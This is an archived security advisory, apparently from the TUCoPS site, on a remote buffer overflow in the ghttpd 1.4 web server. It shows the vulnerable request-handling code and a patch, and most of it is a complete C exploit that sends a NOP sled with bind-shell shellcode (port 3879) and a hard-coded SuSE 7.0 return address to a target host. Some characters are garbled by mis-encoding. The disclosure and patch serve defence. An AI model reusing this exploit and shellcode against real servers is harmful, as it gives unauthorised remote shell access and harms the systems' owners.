TUCoPS :: Unix :: General :: ghttpd.htm


TUCoPS :: Unix :: General :: ghttpd.htm

Ghttpd 1.4 Exploitable Buffer overflow [Lionel & Gangstuck]
Vulnerability
 ghttpd
Affected
 ghttpd 1.4
Description
 Lionel & Gangstuck found following. There is a buffer overflow
 here:
 -> GET /'Ax157'
 -> GET /cgi-bin/'Ax149'(environ).
 Code vulnerable:
 /* protocol.c */
 int serveconnection(int sockfd)
 {
 char filename[255];
 ...
 Log("Connection from %s, request = \"GET %s\"",
 inet_ntoa(sa.sin_addr), ptr);
 
 if(!strncmp(ptr, thehost->CGIBINDIR, strlen(thehost->CGIBINDIR)))
 {/* Trying to execute a cgi-bin file ? lets check */
 ptr2 = strstr(ptr, "?");
 if(ptr2!=NULL) { ptr2[0] = '0円'; flag = 1; }
 
 strcpy(filename, thehost->CGIBINROOT);
 ptr += strlen(thehost->CGIBINDIR);
 strcat(filename, ptr);
 
 // Filename = program to execute
 // ptr = filename in cgi-bin dir
 // ptr2+1 = parameters
 ...
 strcpy(filename, thehost->DOCUMENTROOT);
 strcat(filename, ptr);
 ...
 
 /* ou */
 PTR == Entr馥 socket
 CGIBINROOT == /usr/local/ghttpd/cgi-bin
 DOCUMENTROOT == /usr/local/ghttpd/htdocs
 Code Exploit (proof of concept):
 /*--------------------------------------------*/
 /* Ghttpd 1.4 remote exploit */
 /*--------------------------------------------*/
 /* Auteurs : Lionel & Gangstuck */
 /* Contact : cronos56@yahoo.com */
 /* webmaster@clickmicro.com */
 /* WEB : www.secu-fr.org */
 /* www.clickmicro.com */
 /* IRC : #:secu-fr #clickmicro */
 /*--------------------------------------------*/
 /* Party 2001 Lionel & Gangstuck - 30/06/2001 */
 /*--------------------------------------------*/
 /* GET /[NOPS] [shellcode] [ret] [ret] */
 /* ret sur SuSe 7.0 : 0xbfffb504 == OK */
 /* 0xbfffb515 == LTRACE */
 /*--------------------------------------------*/
 #include <stdio.h>
 #include <string.h>
 #include <unistd.h>
 #include <sys/types.h>
 #include <netinet/in.h>
 #include <netdb.h>
 #define TAILLE 157 // taille du buffer ?
 overflowder
 struct in_addr victim;
 char overflow[4096];
 char shellcode[] = // bind a shell to port 3879
 
 "\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
 "\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
 "\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"
 "\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"
 "\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"
 "\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"
 "\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"
 "\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";
 
 /* mise en place de l'overflow */
 int overflowed(char *ret){
 int i;
 memset(overflow, 0, sizeof(overflow));
 strcpy(overflow,"GET /");
 for(i=0;i<(TAILLE-(strlen(shellcode))); i++){
 strcat(overflow,"\x90");
 }
 strcat(overflow, shellcode);
 strcat(overflow, ret);
 strcat(overflow, ret);
 }
 
 int envoie(struct in_addr addr,char *cport)
 {
 struct sockaddr_in serv;
 int s;
 int port=atoi(cport);
 
 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
 bzero(&serv,sizeof(serv));
 memcpy(&serv.sin_addr,&addr,sizeof(struct
 in_addr));
 serv.sin_port=htons(port);
 serv.sin_family=AF_INET;
 if (connect(s,(struct sockaddr
 *)&serv,sizeof(serv)) < 0){
 perror("connect");
 exit(0);
 }
 write(s,overflow,strlen(overflow));
 write(s,"\n\n",2);
 close(s);
 }
 
 int host_to_ip(char *hostname,struct in_addr
 *addr)
 {
 struct hostent *res;
 
 res=gethostbyname(hostname);
 if (res==NULL)
 return(0);
 memcpy((char *)addr,res->h_addr,res->h_length);
 return(1);
 }
 
 
 int main(int argc, char **argv){
 char ret[8], serveur[256], port[8];
 printf("Exploit ghttpd_1.4 by Lionel and GangstucK\n\n");
 if(argc<2) {
 printf("Usage : %s <serveur IP> [port]\n", argv[0]);
 exit(0);
 }
 if(argc==3){
 strncpy(port, argv[2], 7);
 }
 else{
 strcpy(port, "800円");
 }
 strcpy(ret, "\x04\xb5\xff\xbf"); // ret pour suse 7.0
 strncpy(serveur, argv[1], sizeof(serveur)-1);
 overflowed(ret);
 if (!host_to_ip(serveur,&victim))
 {
 fprintf(stderr,"Hostname lookup failure\n");
 exit(0);
 }
 envoie(victim,port);
 printf("Remote shell listening to port 3879\n");
 exit(0);
 }
Solution
 Patch:
 /* patch.diff */
 
 44a45
> int tno;
 106,107c107,108
 < strcat(filename, ptr);
 <
 ---
> tno = strlen(filename);
> strncat(filename, ptr,
 sizeof(filename)-tno);
 143,144c144,145
 < strcat(filename, ptr);
 <
 ---
> tno = strlen(filename);
> strncat(filename, ptr,
 sizeof(filename)-tno);
 You should run this patch against protocol.c.

AltStyle によって変換されたページ (->オリジナル) /

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2025 AOH